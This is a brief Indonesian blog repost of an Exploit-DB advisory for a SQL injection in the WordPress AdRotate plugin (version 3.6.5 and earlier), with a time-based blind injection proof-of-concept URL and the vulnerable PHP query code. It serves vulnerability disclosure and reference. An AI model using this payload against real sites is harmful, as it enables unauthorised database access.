VulnDB : Plugin AdRotate – EDB-ID: 17888

Sebuah database lengkap sedang coba dirintis di : http://tanyarezaervani.wordpress.com/vulnerability-database/ – Bantuan anda dalam bentuk pengetahuan dan donasi akan sangat membantu.

[sourcecode language=”text”]

# Exploit Title: WordPress AdRotate plugin <= 3.6.5 SQL Injection Vulnerability
# Date: 2011-09-22
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/adrotate.3.6.5.zip
# Version: 3.6.5 (tested)
# Note: magic_quotes has to be turned off

—
PoC
—
http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=1′ AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)%23

—————
Vulnerable code
—————
if(isset($_GET[‘track’]) OR $_GET[‘track’] != ”) {
$meta = urldecode($_GET[‘track’]);
…
list($ad, $group, $block) = explode("-", $meta);
…
$bannerurl = $wpdb->get_var("SELECT `link` FROM `".$prefix."adrotate` WHERE `id` = ‘".$ad."’ LIMIT 1;");

[/sourcecode]